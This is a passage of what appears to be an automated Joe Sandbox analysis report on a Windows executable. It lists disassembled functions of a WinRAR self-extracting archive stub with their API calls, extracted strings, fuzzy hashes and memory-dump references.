Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: 5a86c168bc66a4e4ee8531f94cb6a8e255a43b1260dd8252e1431f9d231fa4b6
Instruction ID: 79cc4fd41dbda0a3be5a78315b03d445db8a1e333c44d3c08c12411706769389
Opcode Fuzzy Hash: 5a86c168bc66a4e4ee8531f94cb6a8e255a43b1260dd8252e1431f9d231fa4b6
Instruction Fuzzy Hash: 4B414371608245AFC324EF68C884ADEF7E9FB89350F44461AF5DDD3240E774A9548BB2

Function 00D94A5A Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00D94A30,?,00DA7F68,0000000C,00D94B87,?,00000002,00000000), ref: 00D94A7B
TerminateProcess.KERNEL32(00000000,?,00D94A30,?,00DA7F68,0000000C,00D94B87,?,00000002,00000000), ref: 00D94A82
ExitProcess.KERNEL32 ref: 00D94A94

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 36a93819ae73ba18f6e03918f82b6e9794b2e4fa8981082ef8c413761e85be78
Instruction ID: dc1925edd593666d05474b380860e3be1b06d7339dde76ba86c7ac06fcb8a3fd
Opcode Fuzzy Hash: 36a93819ae73ba18f6e03918f82b6e9794b2e4fa8981082ef8c413761e85be78
Instruction Fuzzy Hash: 4DE0B631040608AFCF51AF64DD09E893F69EB51395F054414F8099A622CB35DD92CBB4

Function 00D78409 Relevance: 3.9, APIs: 2, Instructions: 888COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D7840E
_memcmp.LIBVCRUNTIME ref: 00D78870

Part of subcall function 00D780F8: CharUpperW.USER32(?,?,00000000,?,?,?,?,?,?,?,00000800,?,00D786E9,?,-00000930,?), ref: 00D781BB

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: CharH_prologUpper_memcmp
String ID:
API String ID: 4047935103-0
Opcode ID: 28f838c3004818eed356585465c53afff90e24d8207c2d584bf9890cb5caa075
Instruction ID: 38e4bebedd1fbbe3c73562db6144032a90c803b00c9820e3620acbd35d127842
Opcode Fuzzy Hash: 28f838c3004818eed356585465c53afff90e24d8207c2d584bf9890cb5caa075
Instruction Fuzzy Hash: 67721B71944185AEDF25DF64C889BF9BBA9EF05300F0CC1BAE94D9B142EB319A84D770

Function 00D85984 Relevance: .3, Instructions: 325COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: ed0d55f82ddc073102539cf63fa7f030661ded478f569d5808011787d2a856f3
Instruction ID: ac6747a46ae7872c225164fb711074031916f5122ade38c8df1e365150312445
Opcode Fuzzy Hash: ed0d55f82ddc073102539cf63fa7f030661ded478f569d5808011787d2a856f3
Instruction Fuzzy Hash: FBD116B16047458FCB14EF28D88479ABBE0FF95304F08056DEC849B646D334E959CBB6

Function 00D89B4F Relevance: 97.0, APIs: 46, Strings: 9, Instructions: 724COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D89B54

Part of subcall function 00D712E7: GetDlgItem.USER32(00000000,00003021), ref: 00D7132B
Part of subcall function 00D712E7: SetWindowTextW.USER32(00000000,00DA02E4), ref: 00D71341

Strings

-el -s2 "-d%s" "-sp%s", xrefs: 00D89EE8
@, xrefs: 00D89F0E
__tmp_rar_sfx_access_check_%u, xrefs: 00D89E2E
C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, xrefs: 00D8A158, 00D8A2DF
"%s"%s, xrefs: 00D8A08A
LICENSEDLG, xrefs: 00D8A3D4
<, xrefs: 00D89F01
winrarsfxmappingfile.tmp, xrefs: 00D89F23
STARTDLG, xrefs: 00D89B73

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: H_prologItemTextWindow
String ID: "%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 810644672-581484061
Opcode ID: 4e4c5e986fd0d0226c00e9beba2c2a7d7b9a963d92d098db338e27823f450e77
Instruction ID: 222876fc7c5905706c06243b0a04a8fd5b2fc19b1bf0054f9fba6f461795cd0e
Opcode Fuzzy Hash: 4e4c5e986fd0d0226c00e9beba2c2a7d7b9a963d92d098db338e27823f450e77
Instruction Fuzzy Hash: 6542F371A40305EEEB21BB689C8AFBE3BACEB06740F484156F645E62D1D7754D84CB32

Function 00D7F353 Relevance: 51.1, APIs: 22, Strings: 7, Instructions: 314
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 00D7F36B
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00D7F383
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00D7F3A6
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00D7F651
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D7F669
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00D7F67B
ReadFile.KERNEL32(00000000,?,00007FFE,00DA0858,00000000), ref: 00D7F69A
CloseHandle.KERNEL32(00000000), ref: 00D7F6F2
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00D7F708
CompareStringW.KERNEL32(00000400,00001001,00DA08A4,?,DXGIDebug.dll,?,?,00000000,?,00000800), ref: 00D7F762
GetFileAttributesW.KERNELBASE(?,?,00DA0870,00000800,?,00000000,?,00000800), ref: 00D7F78B
GetFileAttributesW.KERNEL32(?,?,00DA0930,00000800), ref: 00D7F7C4

Part of subcall function 00D7F309: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00D7F324
Part of subcall function 00D7F309: LoadLibraryW.KERNELBASE(?,?,00D7DEC8,Crypt32.dll,?,00D7DF4A,?,00D7DF2E,?,?,?,?), ref: 00D7F346

_swprintf.LIBCMT ref: 00D7F834
_swprintf.LIBCMT ref: 00D7F880

Part of subcall function 00D73F5B: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D73F6E

AllocConsole.KERNEL32 ref: 00D7F888
GetCurrentProcessId.KERNEL32 ref: 00D7F892
AttachConsole.KERNEL32(00000000), ref: 00D7F899
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00D7F8BF
WriteConsoleW.KERNEL32(00000000), ref: 00D7F8C6
Sleep.KERNEL32(00002710), ref: 00D7F8D1
FreeConsole.KERNEL32 ref: 00D7F8D7
ExitProcess.KERNEL32 ref: 00D7F8DF

Strings

dwmapi.dll, xrefs: 00D7F40E, 00D7F7F7
SetDllDirectoryW, xrefs: 00D7F37D
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00D7F86E
SetDefaultDllDirectories, xrefs: 00D7F3A0
kernel32, xrefs: 00D7F361
uxtheme.dll, xrefs: 00D7F801
DXGIDebug.dll, xrefs: 00D7F3E3, 00D7F74E

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
API String ID: 1201351596-3298887752
Opcode ID: cdb122ba85e3cf30524fa2010be4802d9172e477a749c34b0c62c9bf6af394d1
Instruction ID: 8c09c74265b8906c8d76421024a2f64295bded7780222a1b2b53bce659a76caa
Opcode Fuzzy Hash: cdb122ba85e3cf30524fa2010be4802d9172e477a749c34b0c62c9bf6af394d1
Instruction Fuzzy Hash: 5FD15DB10483849AD730EF60C849B9FBEE8EF86304F54892DF58996380D7B49548CBB7

Function 00D8AA45 Relevance: 31.9, APIs: 14, Strings: 4, Instructions: 438
windowfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00D8AA4A

Part of subcall function 00D896EC: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 00D897B4

SetFileAttributesW.KERNEL32(?,00000005,?,?,00000000,00000001,00D8A35D,?,00000000), ref: 00D8AB7F
GetFileAttributesW.KERNEL32(?), ref: 00D8AC39
DeleteFileW.KERNEL32(?), ref: 00D8AC47
SetWindowTextW.USER32(?,?), ref: 00D8AD90
_wcsrchr.LIBVCRUNTIME ref: 00D8AF1A
GetDlgItem.USER32(?,00000066), ref: 00D8AF55
SetWindowTextW.USER32(00000000,?), ref: 00D8AF65
SendMessageW.USER32(00000000,00000143,00000000,00DB412A), ref: 00D8AF79
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00D8AFA2

Strings

%s.%d.tmp, xrefs: 00D8AC5F
Software\Microsoft\Windows\CurrentVersion, xrefs: 00D8AE39
<br>, xrefs: 00D8ACF3
ProgramFilesDir, xrefs: 00D8AE64

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: File$AttributesMessageSendTextWindow$DeleteEnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 3676479488-312220925
Opcode ID: f1a469ba20aeb97c24486aaea551e8d8e755959235e1e8177397cd48d8684c0b
Instruction ID: 929c9967c25ceda8e9a7363696d5fd92021c83bf8b553adb8907c363139d6f53
Opcode Fuzzy Hash: f1a469ba20aeb97c24486aaea551e8d8e755959235e1e8177397cd48d8684c0b
Instruction Fuzzy Hash: BFE15C76900219AAEF21BBA4DD85EEE73BCEB05350F1440A7F949E7141EB709B84CB71

Function 00D7CED7 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 207
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D7C88E: _wcschr.LIBVCRUNTIME ref: 00D7C8BD

GetWindowRect.USER32(?,?), ref: 00D7CF0E
GetClientRect.USER32(?,?), ref: 00D7CF1A
GetWindowLongW.USER32(?,000000F0), ref: 00D7CFBB
GetWindowRect.USER32(?,?), ref: 00D7CFE8
GetWindowTextW.USER32(?,?,00000400), ref: 00D7D007
SetWindowTextW.USER32(?,?), ref: 00D7D02E
GetSystemMetrics.USER32(00000008), ref: 00D7D036
GetWindow.USER32(?,00000005), ref: 00D7D041
GetWindowTextW.USER32(00000000,?,00000400), ref: 00D7D06C
SetWindowTextW.USER32(00000000,00000000), ref: 00D7D099
GetWindowRect.USER32(00000000,?), ref: 00D7D0AC
GetWindow.USER32(00000000,00000002), ref: 00D7D11E

Strings

d, xrefs: 00D7CF3A

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: Window$RectText$ClientLongMetricsSystem_wcschr
String ID: d
API String ID: 4134264131-2564639436
Opcode ID: a975c4ce43f36792b1069d2a49fc23430f94d9e9895c7c9cf5601dc5ef265e02
Instruction ID: f04551ed18f49ee58fe1bd760655d0a86b8fcadccd50509c21dc02387fa42f99
Opcode Fuzzy Hash: a975c4ce43f36792b1069d2a49fc23430f94d9e9895c7c9cf5601dc5ef265e02
Instruction Fuzzy Hash: 58615A72208340AFD311DF68CD89A6BBBEAEF89714F44591DF684D2290D774E909CB72

Function 00D8B70E Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 96
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(00000068,00DC8958), ref: 00D8B71D
ShowWindow.USER32(00000000,00000005,?,?,?,?,?,?,?,?,?,?,?,?,?,00D89325), ref: 00D8B748
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00D8B757
SendMessageW.USER32(00000000,000000C2,00000000,00DA02E4), ref: 00D8B761
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00D8B777
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00D8B78D
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00D8B7CD
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00D8B7D7
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00D8B7E6
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00D8B809
SendMessageW.USER32(00000000,000000C2,00000000,00DA1368), ref: 00D8B814

Strings

\, xrefs: 00D8B77D

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: MessageSend$ItemShowWindow
String ID: \
API String ID: 1207805008-2967466578
Opcode ID: d86b7a5c67280f7cd6b1c5f9ca53df04b27f3170b86308a635d71530be12ce82
Instruction ID: a07936102181fb074ba06bd476198dc3665e33c9aa9ac8f55375b4feba3630c3
Opcode Fuzzy Hash: d86b7a5c67280f7cd6b1c5f9ca53df04b27f3170b86308a635d71530be12ce82
Instruction Fuzzy Hash: 8D210171285744BFE311BB249C41FAB7E9CEF82714F040619FA90E62D0D7A54A098BBB

Function 00D8B9AA Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExW.SHELL32(000001C0), ref: 00D8BAD8
ShowWindow.USER32(?,00000000,?,?,?,?,?,?,?), ref: 00D8BB1D
GetExitCodeProcess.KERNEL32(?,?), ref: 00D8BB55
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00D8BB7B
ShowWindow.USER32(?,00000001,?,?,?,?,?,?,?), ref: 00D8BC0A

Part of subcall function 00D80B12: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,00D7AC49,?,?,?,00D7ABF8,?,-00000002,?,00000000,?), ref: 00D80B28

Strings

.inf, xrefs: 00D8BA94
.exe, xrefs: 00D8BB85
, xrefs: 00D8BA2A

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: ShowWindow$CloseCodeCompareExecuteExitHandleProcessShellString
String ID: $.exe$.inf
API String ID: 3686203788-2452507128
Opcode ID: 489f70c44a011494fbe1a0ea8780603b780df84d3e5e5ff324126f060405e45c
Instruction ID: 7e5096b504fae094d586ce0ccb057967f26e546b14660102bf078c142d5ccb07
Opcode Fuzzy Hash: 489f70c44a011494fbe1a0ea8780603b780df84d3e5e5ff324126f060405e45c
Instruction Fuzzy Hash: 2C51E5705057819AD731BF24C940ABBBBF9EF85724F08081EE4C593295EBB1A948DB72

Function 00D7CACC Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00D7CAD1
_wcschr.LIBVCRUNTIME ref: 00D7CAEF
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,00D7CAB3,?), ref: 00D7CB0A

Part of subcall function 00D806E9: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00D7B25B,00000000,?,?), ref: 00D80705

Strings

*messages***, xrefs: 00D7CBD6
a, xrefs: 00D7CC2B
*messages***, xrefs: 00D7CC0F
R, xrefs: 00D7CC21

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: ByteCharFileH_prologModuleMultiNameWide_wcschr
String ID: *messages***$*messages***$R$a
API String ID: 803915177-2900423073
Opcode ID: 6c98c01bb61cdd0dbf27c766987efe3a1c783c6049a25ec8726a35788bfde9ef
Instruction ID: 1ce4b8a879bdc91076f9f2bfa1f65aa7cde88506c894ac466994e07ae6f27443
Opcode Fuzzy Hash: 6c98c01bb61cdd0dbf27c766987efe3a1c783c6049a25ec8726a35788bfde9ef
Instruction Fuzzy Hash: C29105B2A102049EDB30DF68CC45BAEBBA4EF54310F18D56EE64DA7291F7709984CB70

Function 00D973AE Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00D92FC2,00D92FC2,?,?,?,00D975FF,00000001,00000001,F5E85006), ref: 00D97408
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00D975FF,00000001,00000001,F5E85006,?,?,?), ref: 00D9748E
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,F5E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00D97588
__freea.LIBCMT ref: 00D97595

Part of subcall function 00D959FC: RtlAllocateHeap.NTDLL(00000000,?,?,?,00D923AA,?,0000015D,?,?,?,?,00D92F29,000000FF,00000000,?,?), ref: 00D95A2E

__freea.LIBCMT ref: 00D9759E
__freea.LIBCMT ref: 00D975C3

Strings

d0F, xrefs: 00D973B5

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID: d0F
API String ID: 1414292761-1238022483
Opcode ID: cb53e77fc731a48cc29506ed7891295a4df99ead5ce50839539afadad2287fa1
Instruction ID: 56f1f3e5aab6f8b11599b50885700bb1c1e24207f5ef515bfae2366a3e1e4ef6
Opcode Fuzzy Hash: cb53e77fc731a48cc29506ed7891295a4df99ead5ce50839539afadad2287fa1
Instruction Fuzzy Hash: F051E272624216ABEF658F64CC81EBF7BA9EB44750F5A4629FC04D7190EB34DC40C6B0

Function 00D89036 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D7F309: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00D7F324
Part of subcall function 00D7F309: LoadLibraryW.KERNELBASE(?,?,00D7DEC8,Crypt32.dll,?,00D7DF4A,?,00D7DF2E,?,?,?,?), ref: 00D7F346

OleInitialize.OLE32(00000000), ref: 00D8904F
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00D89086
SHGetMalloc.SHELL32(00DB20E8), ref: 00D89090

Strings

3Ro, xrefs: 00D89067
riched20.dll, xrefs: 00D8903E

Memory Dump Source

